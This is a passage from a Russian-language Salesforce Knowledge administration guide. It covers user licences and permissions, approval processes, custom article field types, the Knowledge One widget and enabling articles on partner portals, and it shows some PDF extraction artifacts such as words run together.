Действие по переводу статьи, установленное на странице
«Настройка действий статьи».

«Управление Salesforce Knowledge»

И

Для импорта статей:

«Управление статьями»
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Необходимые полномочия пользователяЗадача Salesforce Knowledge

И

«Управление импортом/экспортом статей базы знаний»

И

«Чтение», «Создание», «Редактирование» и «Удаление» для
типа статьи

«Управление Salesforce Knowledge»

И

Для импорта и экспорта переведенных статей:

«Управление статьями»

И

«Управление импортом/экспортом статей базы знаний»

И

«Чтение», «Создание», «Редактирование» и «Удаление» для
типа статьи

Прим.:

• Чтобы удалить опубликованную статью и ее переводы, сначала следует удалить их из публикации, выбрав
действие удаления или архивации.

• Когдапользовательбездоступак удалениюотменяетправку вопубликованнойстатье, вновьсозданныйчерновик
статьи не удаляется автоматически.

СМ. ТАКЖЕ:

Настройка Salesforce Knowledge

Предоставление полномочий пользователям Salesforce Knowledge

Создание и назначение пользователей и групп Salesforce Knowledge
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Общие сведения о настройке пользователей Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования
пользователей:
• «Управление

внутренними
пользователями»

Для создания типов статей
и действий над статьей:
• «Настройка

приложения»

И

«Управление Salesforce
Knowledge»

Чтобы предоставить сотрудникам компании доступ к разнымфункциям Salesforce
Knowledge, рекомендуем создать профили «Пользователь базы знаний» с
соответствующими полномочиями, а затем назначить данные профили нужным
пользователям. Кроме того, рекомендуем указать сотрудников компании, которые
являются пользователями Salesforce Knowledge. При необходимости создайте
общедоступныегруппыдлявыполненияопределенныхдействийнадстатьей (например,
публикация, перевод или архивирование).

• Предоставление полномочий пользователям Salesforce Knowledge

• Создание и назначение пользователей Salesforce Knowledge

• Назначение действий над статьей общедоступным группам (дополнительно)

СМ. ТАКЖЕ:

Настройка Salesforce Knowledge
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Создание и назначение пользователей и групп Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях Enterprise и
Unlimited.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования
пользователей:
• «Управление

внутренними
пользователями»

Для создания типов статей
и действий над статьей:
• «Настройка

приложения»

И

«Управление Salesforce
Knowledge»

Создание и назначение пользователей Salesforce Knowledge

У вашей организации есть доступные лицензии Salesforce Knowledge, если флажок
«Пользователь базы знаний» есть на странице сведений о пользователе. Если данный
флажокнеотображается, убедитесьвприобретениидостаточногоколичествалицензий.

Пользователи полной лицензии Salesforce могут читать опубликованные статьи, но не
архивные или черновые статьи, без лицензии «Пользователь базы знаний». Однако,
другие действия (создание, редактирование, удаление и публикация) доступны только
приналичиилицензии «Пользовательбазызнаний», полномочия «Управлениестатьями»
и действия над статьей для типа статьи.

Доступ для создания,
редактирования,
удаления и публикации

Доступ для чтения
опубликованных статей

Лицензия

Требуется:«Чтение» для типа статьиService Cloud (Enterprise
Edition и Unlimited Edition) • Лицензия

«Пользователь базы
знаний»

• Полномочие
«Управление статьями»

• Действие над статьей
для типа статьи

Требуется:«Чтение» для типа статьиService Cloud (Performance
Edition) • Полномочие

«Управление статьями»

• Действие над статьей
для типа статьи

Требуется:«Чтение» для типа статьиSales Cloud (Enterprise Edition,
Unlimited Edition и
Performance Edition)

• Лицензия
«Пользователь базы
знаний»

• Полномочие
«Управление статьями»

• Действие над статьей
для типа статьи

Не применимо«Чтение» для типа статьиВнутрикорпоративная
социальная сеть

Не применимо«Чтение» для типа статьиСообщества и порталы
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Доступ для создания,
редактирования, удаления и
публикации

Доступ для чтения опубликованных
статей

Лицензия

Требуется:«Чтение» для типа статьиChatter Plus

• Лицензия «Пользователь базы
знаний»

• Полномочие «Управление
статьями»

• Действие над статьей для типа
статьи

Требуется:«Чтение» для типа статьиForce.com

• Лицензия «Пользователь базы
знаний»

• Полномочие «Управление
статьями»

• Действие над статьей для типа
статьи

Чтобы создать или назначить пользователей Salesforce Knowledge, выполните указанные ниже действия.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Пользователи».

2. Щелкните ссылку «Правка» напротив имени нужного пользователя. Чтобы создать пользователя, нажмите кнопку
«Создать».

3. При создании пользователя заполните все обязательные поля.

4. Установите флажок «Пользователь базы знаний».

5. Убедитесьвналичиинеобходимыхполномочийпользователя. См. раздел «Предоставлениеполномочийпользователям
Salesforce Knowledge».

6. Нажмите кнопку «Сохранить».

Назначение действий над статьей общедоступным группам

Полномочие «Управление статьями» предоставляет пользователям Salesforce Knowledge доступ ко всем действиям,
доступным на вкладке «Управление статьями», включая публикацию, перевод и архивирование статей. Чтобы
контролировать доступ к действиям над статьей, назначьте действия общедоступным группам. Затем добавьте нужных
пользователей Salesforce Knowledge в соответствующую общедоступную группу. Например, действие «Удаление
переведенных статей» может быть назначено созданной общедоступной группе «Суперпользователи». Переведенные
статьи могут быть удалены только менеджерами статей, являющимися участниками общедоступной группы
«Суперпользователи». Дополнительнуюинформациюобограничениидоступа путемназначения действийнад статьей
общедоступным группам см. в разделе «Назначение действий над статьей общедоступным группам».

СМ. ТАКЖЕ:

Настройка Salesforce Knowledge
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Включение полномочия Knowledge One посредством профилей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования профилей:
• «Управление

профилями и наборами
полномочий»

Для создания и
редактирования внешних
источников данных:
• «Настройка

приложения»

Чтобы заменить вкладку «Статьи» вкладкой «База знаний», добавьте полномочие
«Knowledge One» в профили соответствующих пользователей.

Чтобы добавить полномочие «Knowledge One» в профиль, выполните указанные
ниже действия.

1. Вразделе «Настройка» введите «Профили» вполе «Быстрый поиск», затемвыберите
«Профили».

2. Выберите нужный профиль.

3. Введите строку «База знаний» в поле «Поиск параметров…».

4. Выберите «Knowledge One» из списка предложенных вариантов.

5. Нажмите кнопку «Правка».

6. Установите флажок «Knowledge One» в разделе «Управление базой знаний».

7. Нажмите кнопку «Сохранить».

Рекомендуем определить внешние источники данных после предоставления
пользователям доступа к полномочию «Knowledge One». Внешние источники данных
отображаются под статьями в результатах поиска и на левой боковой панели.
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Включение полномочия Knowledge One посредством наборов полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования наборов
полномочий:
• «Управление

профилями и наборами
полномочий»

Для создания и
редактирования внешних
источников данных:
• «Настройка

приложения»

Чтобы заменить вкладку «Статьи» вкладкой «База знаний», добавьте полномочие
«Knowledge One» в наборы полномочий соответствующих пользователей.

Чтобы добавить полномочие «Knowledge One» в набор полномочий, выполните
указанные ниже действия.

1. Введите строку «Наборы полномочий» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Наборы полномочий».

2. Выберите нужный набор полномочий.

3. Введите строку «База знаний» в поле «Поиск параметров…».

4. Выберите «Knowledge One» из списка предложенных вариантов.

5. Нажмите кнопку «Правка».

6. Установите флажок «Включено» для полномочия «Knowledge One» в разделе
«Управление базой знаний».

7. Нажмите кнопку «Сохранить».

Рекомендуем определить внешние источники данных после предоставления
пользователям доступа к полномочию «Knowledge One». Внешние источники данных
отображаются под статьями в результатах поиска и на левой боковой панели.
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Настройка Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях Enterprise и
Unlimited.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания типов статей
и действий над статьей:
• «Настройка

приложения»

И

«Управление Salesforce
Knowledge»

Для управления
синонимами:
• «Управление

синонимами»

Для создания категорий
данных:
• «Управление

категориями данных»

Взависимостиот способанастройки Salesforce Knowledge (например, объединениебазы
знаний с обращениями или предоставление пользователям портала доступа к статьям),
выполните указанные ниже дополнительные действия.

• Настройтебизнес-правилаилипроцессыутверждениядлявсехилитольконекоторых
типов статей, благодаря которым пользователи организации смогут управлять
процессами создания и публикации статей.

• Включите многоязычную поддержку для перевода и публикации статей на разных
языках.

• Импортируйте статьи в базу знаний Salesforce Knowledge (при ее наличии).

• Чтобы предоставить пользователям портала доступ к статьям, включите Salesforce
Knowledge на клиентском портале.

• Чтобы предоставить пользователям портала доступ к статьям, включите Salesforce
Knowledge на партнерском портале.

• Чтобы разрешить пользователям Salesforce Knowledge искать статьи по синонимам,
используемым как ключевые слова, создайте группу синонимов.

• Добавьте связанный список «Статьи» в макеты страниц обращений. Связанный
список «Статьи» позволяет пользователям искать статьи во время работы над
обращением. Ниже перечислены дополнительные действия, которые могут быть
разрешены пользователям.

– Добавление PDF-версий статей в сообщения эл. почты, содержащие обращения.

– Создание статей при закрытии обращения.

– Просмотр списка предложенных статей на основе сведений об обращении.

• ЧтобыразрешитьпользователямотслеживаниестатейвChatter, включитефункцию
отслеживания для типов статей.

• Чтобыразрешитьпосетителямобщедоступноговеб-сайтапросмотрстатей Salesforce
Knowledge, рекомендуем установить приложение Public Knowledge for Mobile, Web, and
Facebook из каталога AppExchange. Дополнительную информацию об установке и
настройкеобщедоступнойбазызнанийсм. вруководстве, доступномвданномпакете.

СМ. ТАКЖЕ:

Настройка Salesforce Knowledge
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Бизнес-правила и процессы утверждения Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях Enterprise и
Unlimited.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
бизнес-правил и процессов
утверждения:
• «Просмотр настройки и

конфигурации»

Для создания илиизменения
бизнес-правил и процессов
утверждения:
• «Настройка

приложения»

Бизнес-правилаипроцессыутвержденияпозволяютавтоматизироватьмногиедействия,
связанные с управлением базой знаний. При использовании Salesforce Knowledge
разрешается создавать бизнес-правила и процессы утверждения для всех или только
некоторых типов статей, используемых в организации.

Бизнес-правила позволяют создавать электронные предупреждения, обновлять поля и
отправлять исходящие сообщения API при соответствии статьи заданным критериям.
Например, пользовательможет создатьбизнес-правило, отправляющееответственному
за статью электронное предупреждение о создании статьи на основе обращения.
Обратите внимание, что задачи не поддерживаются бизнес-правилами типа статьи.

Процессы утверждения автоматизируют утверждение статей. При использовании
Salesforce Knowledge процессы утверждения обеспечивают дополнительный контроль
над содержимым статей и этапами их утверждения. Например, пользователь может
создатьпроцесс, обязывающийюристовируководителейкомпанииутверждать статьи,
содержащие конфиденциальную информацию.

Прим.: Задачи недоступны для бизнес-правил типа статьи.

Советы по созданию процессов утверждения

Нижеперечисленырекомендациипосозданиюпроцессовутверждениядлятиповстатей.

• Прежде чем создать процесс утверждения, выберите нужный мастер создания
процессов утверждения.

• Процесс утверждения, добавленный в тип статьи, гарантирует, что статья будет
опубликована толькопосле ее утверждения соответствующимисотрудниками. Если
процесс утверждения включен для типа статьи, то связанный список «Журнал
утверждений» отображается на странице сведений о статье.

• Чтобы разрешить пользователям опубликовать статью, выберите действие
окончательного утверждения «Разблокировать запись для редактирования» при
создании процесса утверждения.

• Статьи не публикуются автоматически по завершении процесса утверждения. Публикация статьи в каналах
осуществляется посредством кнопки «Опубликовать...».

• Если процесс утверждения связан с типом статьи, то пользователям с полномочием «Управление статьями» могут
быть доступны обе кнопки «Опубликовать...» и «Отправить на утверждение» на странице сведений о статье
(отображаемыекнопкиопределяютсяполномочиямипользователейидействияминад статьей). Данныепользователи
могутпубликоватьстатьюбезотправкинаутверждение. Чтобыразрешитьданныйалгоритмработытольконекоторым
пользователям, назначьтедействие «Публикациястатей» определеннойгруппепользователейвместовсехпользователей
с полномочием «Управление статьями». Дополнительную информацию см. в разделе «Назначение действий над
статьей общедоступным группам» на странице 3054. При необходимости убедитесь, что пользователям, которым
предоставляется возможность непосредственной публикации, известны статьи, требующие предварительного
утверждения.

• Ответственным за утверждение статей должно быть назначено полномочие «Управление статьями» и как минимум
полномочие «Чтение» для типастатьи, связанногоспросматриваемымистатьями. Данныеполномочияпредоставляют
пользователямдоступ к черновымстатьям. Еслиданныеполномочияненазначены, то ответственные за утверждение
могут переназначать, но не могут утверждать статьи.
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• Бизнес-правила и процессы утверждения применяются к этапу процесса публикации статьи, предназначенному для
отправки черновика на публикацию. Бизнес-правила недоступны для архивирования. Процессы утверждения
недоступны для перевода или архивирования.

Прим.: Статья, публикуемая посредством страницы редактирования, сначала сохраняется, а затем публикуется.
Бизнес-правила применяются к сохраненной черновой статье, но не применяются к опубликованной статье.

СМ. ТАКЖЕ:

Настройка Salesforce Knowledge

Определение значений раскрывающегося списка «Статус проверки»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях Enterprise и
Unlimited.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
значений раскрывающегося
списка «Статус проверки»:
• «Настройка

приложения»

И

«Управление Salesforce
Knowledge»

Данная страница позволяет добавлять или редактировать статусы проверки для типов
статей.

Поле «Статус проверки», включенноенастранице «Параметрыбазызнаний», позволяет
создавать значенияраскрывающегосясписка, соответствующиестатусустатьивпроцессе
публикации. Например, возможные значения: «Проверено», «Не проверено» или
«Требует согласования».

Прим.: Значения раскрывающегося списка «Статус проверки» не сохраняются во
времяэкспортастатейдляперевода. Однакостатьисозначениямираскрывающегося
списка могут быть импортированы, а их значения сохранены до тех пор, пока
используются в организации.

1. Введите строку «Статусы проверки» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Статусы проверки».

2. Чтобыдобавитьновыезначениявполе «Статуспроверки», нажмитекнопку«Создать»
на странице редактирования раскрывающегося списка. Кроме того, пользователи
могут редактировать, удалять, перегруппировывать и заменять значения
раскрывающегося списка.

В случае замены значение раскрывающегося списка изменяется во всех версиях
статьи, включая любые архивные версии.

3. Добавьтекакминимумоднозначениераскрывающегосясписка (поодномувстроке)
в текстовую область.

4. Чтобыприсвоитьзначениюраскрывающегосяспискастатусстандартного, установите
флажок «По умолчанию».

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Управление статьями и переводами
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Создание очереди статей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях Enterprise и
Unlimited.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
очередей:
• «Настройка

приложения»

И

«Управление
общедоступными
списковыми
представлениями»

Для создания илиизменения
очередей, созданных
другими пользователями:
• «Настройка

приложения»

И

«Управление
общедоступными
списковыми
представлениями»

И

«Управление
пользователями»

Чтобы использовать очереди в процессах утверждения или отправлять статьи
поставщикам перевода, рекомендуем создать как минимум одну очередь. См. раздел
«Созданиеочередей»настранице3145. Очередьвыбирается авторамииэкспертамипри
отправке статьи на проверку или перевод. Эксперты, назначенные новым очередям
проверок, могут быть компетентны в разных областях. Для каждого языка может быть
создана одна очередь перевода или очереди могут объединять разные языки.

Чтобысоздатьочередьутверждениястатейилипереводов, добавьтеверсиюстатьибазы
знаний в качестве объекта, доступного для очереди.

СМ. ТАКЖЕ:

Экспорт статей для перевода
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Типы настраиваемых полей статей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях Enterprise и
Unlimited.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых полей:
• «Настройка

приложения»

Дляизменения типов статей:
• «Управление Salesforce

Knowledge»

Прежде всего, присозданиинастраиваемогополя статейрекомендуемвыбрать типполя.
Данная таблица описывает все доступные типы настраиваемых полей.

ОписаниеТип поля

Статья, используемая мультивалютной
организацией, может содержать поле
валюты, предназначенное для ввода кода
ISO валюты статьи.

Валюта статьи

Данныйтипполяпозволяетвводитьсумму
в валюте. Система автоматически
форматирует поле как сумму в валюте.
Данная функция полезна при экспорте
данных в электронную таблицу. Данному
полю может быть назначен статус
обязательного, то есть, сохранение статьи
будет доступно только после его
заполнения.

Валюта

Прим.: Значения полей валюты в
системе Salesforce округляются до
целого четного числа. Например,
значение 23,5 округляется до 24,
значение 22,5 округляется до 22,
значение −22,5 округляется до −22,
а значение−23,5 округляется до−24.

Точность значений после 15-го
десятичного знакане гарантируется.

Данный тип поля позволяет вводить дату
или выбирать нужную дату во

Дата

всплывающемкалендаре. Данныеотчетов
могут быть ограничены определенным
диапазоном дат посредством любого
настраиваемогополядаты. Данномуполю
можетбытьназначенстатусобязательного,
то есть, сохранение статьибудет доступно
только после его заполнения.

Данный тип поля позволяет вводить дату
или выбирать нужную дату во

Дата/время

всплывающемкалендареиуказыватьвремя
дня. Чтобыдобавитьтекущуюдатуивремя,
рекомендуемщелкнуть ссылку даты и
времени напротив поля. Время дня может
содержать метку AM или PM. Данные
отчетов могут быть ограничены
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ОписаниеТип поля

определенным диапазоном дат и времени посредством
любого настраиваемого поля даты. Данному полю может
быть назначен статус обязательного, то есть, сохранение
статьи будет доступно только после его заполнения.

Данный тип поля позволяет вводить адрес эл. почты,
проверяемыйна соответствие заданномуформату. Данное

Эл. почта

поле может содержать не более 80 символов. Если данное
поле задано для контактов или интересов, то адрес может
бытьвыбранпосредствомкнопки«Отправитьсообщение
эл. почты». Обратите внимание, чтонастраиваемыеадреса
эл. почты не могут использоваться в пакетных рассылках.
Данномуполюможетбытьназначенстатусобязательного,
то есть, сохранение статьи будет доступно только после
его заполнения.

Данный тип поля позволяет загружать и добавлять файл в
статью. Данному полю может быть назначен статус

Файл

обязательного, то есть, сохранение статьи будет доступно
толькопослеего заполнения.Нижеперечисленыполезные
рекомендации.

• Максимальныйразмервложениянедолженпревышать
25 Мб.

• Каждый тип статьи может содержать не более
5 файловых полей. Чтобы увеличить данное
ограничение, обратитесь в компанию Salesforce.

• Если включен параметр безопасности «Запретить
HTML-документы и вложения», то файловые поля не
поддерживают использование HTML-файлов.

• Текстовое содержимое во вложениифайлового поля
поддерживает возможность поиска. Поиск может быть
выполнен только по 25 Мб вложенных файлов.
Например, если статья содержит шесть файловых
вложений размером 5 Мб, то поиску подлежат только
первые 4,16 Мб каждого файла.

• Файловое поле не может использоваться для
прикрепления файлов Salesforce CRM Content.

• Файловое поле не поддерживается версией Developer
Edition.

• Длинаименифайланедолжнапревышать 40 символов.

• Типфайлового поля не может быть преобразован в
другой тип данных.
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Автоматическое вычисление значений, основанных на
других значенияхилиполях (например, наполях слияния).

Формула

Прим.: ЗначенияполейформулывсистемеSalesforce
округляются в сторону увеличения. Например,
значение 12,345 округляется до 12,35, а значение
−12,345 округляется до -12,34.

Редактор формул в версии Database.com Edition не
поддерживает кнопку «Проверка синтаксиса».
Проверка синтаксиса выполняется при попытке
сохранения формулы.

Созданиевзаимосвязимеждудвумязаписями, позволяющей
связывать записи между собой. Например, отдельное

Взаимосвязь поиска

обращение может быть связано с возможностью, так как
возможности связаны с обращениями посредством
взаимосвязи поиска. Взаимосвязь поиска создает поле,
позволяющее пользователям нажимать значок поиска и
выбирать другую запись во всплывающем окне. Чтобы
просмотреть все связанные записи, рекомендуем
воспользоваться связанным списком соответствующей
записи. При необходимости создайте поля типа
«Взаимосвязь поиска», связанные с пользователями,
стандартнымиилинастраиваемымиобъектами.Еслиполе
поиска ссылаетсяна удаленнуюзапись, то система Salesforce
удаляет значение поля поиска по умолчанию. При
необходимости записи, используемые во взаимосвязи
поиска, могут быть заблокированы от удаления. Данному
полю может быть назначен статус обязательного, то есть,
сохранение статьи будет доступно только после его
заполнения.

Поля типа «Взаимосвязь поиска» недоступны в версии
Personal Edition.

Поля типа «Взаимосвязь поиска» недоступны для
участников кампании, нодоступныдля другихобъектовиз
участников кампании.

Данный типполя позволяет вводить любое число. Данное
числосчитается действительным, поэтомуначальныенули

Число

удаляются. Данному полю может быть назначен статус
обязательного, то есть, сохранение статьи будет доступно
только после его заполнения.

Прим.: ЗначениячисловыхполейвсистемеSalesforce
округляются в сторону увеличения. Например,
значение 12,345 округляется до 12,35, а значение
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−12,345 округляется до -12,34. Система Salesforce
округляет числа в полях слияния в соответствии с
региональными настройками пользователя, а не до
количества знаков после запятой, указанного в
конфигурации числового поля.

Данныйтипполяпозволяет вводитьпроцентные значения
(например, «10»). Система автоматически добавляет знак

Процент

процента к числу. Данному полю может быть назначен
статус обязательного, то есть, сохранение статьи будет
доступно только после его заполнения.

Прим.: При добавлении знака процента к числу,
содержащему более 15 десятичных знаков,
отображается ошибка выполнения.

Точность значений после 15-го десятичного знака
не гарантируется.

Данный тип поля позволяет вводить любой номер
телефона. Данное поле может содержать не более

Тел.

40 символов. Данному полю может быть назначен статус
обязательного, то есть, сохранение статьи будет доступно
только после его заполнения.

Система Salesforce автоматически форматирует введенное
значение как номер телефона.

При использовании приложения Salesforce CRM Call Center
настраиваемыеполятипа «Тел.» отображаютсяпринажатии
кнопки . Таким образом, компания Salesforce не
рекомендуетиспользоватьнастраиваемоеполетипа «Тел.»
для ввода номера факса.

Данный тип поля позволяет выбирать значение из
заданного списка.

Раскрывающийся список

Данный тип поля позволяет выбирать значение из списка,
зависимого от значения другого поля.

Раскрывающийся список (зависимый)

Данныйтипполяпозволяетвыбиратьнесколькозначений
из заданного списка. Все значения данного поля отделены
точкой с запятой.

Раскрывающийся список (множественный выбор)

Данный тип поля позволяет вводить любую комбинацию
букв, цифр или символов. Максимальная длина:

Текст

255 символов. Данному полю может быть назначен статус
обязательного, то есть, сохранение статьи будет доступно
только после его заполнения.
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Данныйтипполяпозволяетвводитьнеболее 255 символов,
отображающихся в отдельных строках (подобно полю

Область текста

«Описание»). Данному полю может быть назначен статус
обязательного, то есть, сохранение статьи будет доступно
только после его заполнения.

Данный тип поля позволяет вводить не более 131 072
символов, отображающихсявотдельныхстроках (подобно

Область подробного текста

полю «Описание»). При необходимости данному типу
поля может быть задана минимальная длина. Допускается
любая длина от 256 до 131 072 символов. Значение по
умолчанию: 32 768символов. Прикаждомнажатииклавиши
Enter внутри области подробного текста добавляется
разрывстрокиисимволвозврата; обасимволаучитываются
ограничением по количеству символов. Кроме того,
интеллектуальные ссылки добавляют больше символов,
чем отображается.

Прим.: Приуменьшенииограниченияпоколичеству
символов и наличии статей, превышающих новое
ограничение, данные статьи могут редактироваться
толькопоследостаточногоувеличенияограничения
по количеству символов.

Данный тип поля позволяет вводить не более 131 072

символов HTML-текста, включая примеры кода ( ) и

Область обогащенного текста

интеллектуальные ссылки между статьями Salesforce
Knowledge.

Нижеперечисленыдваспособасозданияинтеллектуальных
ссылок.

• Поиск статьи.

• Ввод URL-адреса статьи.

Прим.:

• Однополе типа «Область обогащенного текста»
может содержать не более 100 ссылок на разные
статьи Salesforce Knowledge.

• При преобразовании поля типа «Область
обогащенного текста» в поле типа «Область
подробноготекста» ссылкиотображаются в виде
ссылочных номеров, но не URL-адресов.

• Обновленный редактор не поддерживается
обозревателем Internet Explorer 7 или 8 в режиме
совместимости. При использовании данных
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обозревателей отображается устаревший
редактор.

Данныйтипполяпозволяет вводитьнеболее 255 символов
любого действительного адреса веб-сайта. Чтобы открыть

URL-адрес

URL-адресвотдельномокнеобозревателя, щелкнитенужное
поле. Обратитевнимание, чтостраницысведенийозаписях
позволяют отображать только первые 50 символов.
Данномуполюможетбытьназначенстатусобязательного,
то есть, сохранение статьи будет доступно только после
его заполнения.

СМ. ТАКЖЕ:

Добавление настраиваемых полей в типы статей

Настройка виджета Knowledge One

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях Enterprise и
Unlimited.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для администрирования
Salesforce Knowledge и
консоли Salesforce for
Service:
• «Настройка

приложения»

И

«Управление Salesforce
Knowledge»

Knowledge One — это виджет, который может быть подключен к консоли Salesforce for
Service или консоли Salesforce for Sales.

Вкладка «База знаний» предоставляет удобный интерфейс для статей и внешних
источниковна страницахобращенийиконсоли Salesforce for Service. Данныйинтерфейс
позволяет искать, отправлять и создавать статьи прямо на странице обращения.

Нижеперечисленыдействия, поддерживаемые только виджетом Knowledge One (из всех
виджетов «Статьи» компонента Salesforce Knowledge).

• Быстрое добавление опубликованной статьи Salesforce Knowledge в обращение.

• Публикация статьи в виде общедоступного URL-адреса.

• Отправка статьи по эл. почте в виде общедоступного PDF-файла.

• Создание и управление статьями.

• Внесение поправок с учетомширины окна. При использовании окон консоли
шириною менее 600 пикселов объекты, доступные для поиска, отображаются
посредством раскрывающегося меню.

Прим.: Виджет «Статьи» впоискеполентеобращенийнеобязательноиспользует
языкагента. Еслиязыкагентанеявляетсяоднимизподдерживаемыхязыков Salesforce
Knowledge, а язык пользователя является, то языком поиска будет язык текущего
регионального стандарта. Если не поддерживается ни язык агента, ни локальный
язык, то языком поиска будет язык Salesforce Knowledge по умолчанию, который
можно найти и задать на странице «Параметры базы знаний».

1. Отпараметровуправленияобъектамидляобращенийперейдитек «Макетамстраниц»
и откройте нужный макет обращения для редактирования.

2. Выключите предыдущие компоненты боковой панели «Статьи».
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• Чтобыотключитьбоковуюпанельбазы знаний, нажмите кнопку «Свойствамакета» вредакторемакетов страниц
и снимите флажок Боковая панель базы знаний.

• Чтобы отключить инструмент ленты обращений «Статьи», щелкните «Представление ленты» в редакторе
макетов страниц и снимите флажок «Использовать инструмент ленты обращений "Статьи" на консоли».

3. Щелкните «Настраиваемые компоненты консоли» в редакторе макетов страниц.

4. Выберитезначение «Knowledge One» израскрывающегосясписка «Тип» инастройтепараметрынужнойбоковой
панели.

Совет: Еслибоковаяпанель Knowledge One не видна, увеличьте ееширинудо 250 (привысоте 150) вмакете страницы.
Это минимальные размеры для правильного отображения боковой панели Knowledge One.

Быстрое сравнение виджетов «Статьи» для обращений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

Система позволяет выбирать наиболее подходящий виджет «Статьи» компонента
Salesforce Knowledge для организации.

Виджет
Knowledge One

Виджет
«Статьи» ленты
обращений

Виджет
«Статьи»

Функция виджета

ДаНетДаФильтрация по категории
данных

ДаНетНетСоздание статьи

ДаНетНетПоиск внешнего объекта

ДаНетНетДоступкчерновымстатьям

ДаДаДаВложение статьи в
обращение

ДаДаНетОтправка статьи в виде
PDF-файла

ДаДаНетПубликация
общедоступного
URL-адреса статьи

ДаНетНетВнесение поправок с
учетом размера окна

ДаНетНетДополнительныеспособы
просмотра предложенных
статей
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Виджет «Статьи»

Виджет «Статьи» ленты обращений
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Включение Salesforce Knowledge на партнерском портале

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки и
обновления партнерского
портала:
• «Настройка

приложения»

Для создания и
редактирования профилей:
• «Управление

профилями и наборами
полномочий»

Для управления
пользователями портала:
• «Управление

пользователем портала»

ИЛИ

«Управление внешними
пользователями»

Для просмотра статей
Salesforce Knowledge:
• «Чтение» для типов

статей, доступных на
партнерском портале

Партнерский портал позволяет предоставлять партнерам доступ к статьям Salesforce
Knowledge. Пользователи портала могут просматривать и оценивать статьи, но не могут
создавать или редактировать их.

Чтобы включить Salesforce Knowledge на порталах, настройте Salesforce Knowledge в
организации, включите партнерский портал и выполните указанные ниже действия.

1. Обновите клонированные профили «Пользователь-партнер».

a. Включите полномочие «Чтение» для типов статей, которые должны быть
доступны партнерам.

b. Убедитесь, что доступности вкладки «Статьи» задано значение «Включены
стандартные параметры».

2. Нажмите кнопку «Редактировать профили» в нижней части страницы сведений
о партнерском портале и активируйте новый профиль.

3. Добавьте вкладку «Статьи» на каждый партнерский портал.

4. Назначьте клонированные профили пользователям партнерского портала.

a. Чтобысоздатьпользователяпартнерскогопортала, нажмитекнопку«Управление
внешним пользователем» на странице сведений о контакте и выберите пункт
«Включитьпользователя-партнера». Чтобыобновить текущегопользователя,
нажмитекнопку «Управлениевнешнимпользователем»настраницесведений
о контакте и выберите пункт «Просмотр пользователя-партнера».

b. При создании пользователя выберите клонированный профиль в
раскрывающемся меню «Профиль». При обновлении пользователя нажмите
кнопку «Правка» и выберите нужный профиль.

c. Нажмите кнопку «Сохранить».

5. Чтобы назначить пользователям партнерского портала параметры доступности
группыкатегорий, отличныеотпараметровответственногозаорганизацию, измените
параметры доступности для пользователя партнерского портала.

По умолчанию пользователи партнерского портала наследуют доступные им
категории от ответственного за организацию. Например, если ответственному за
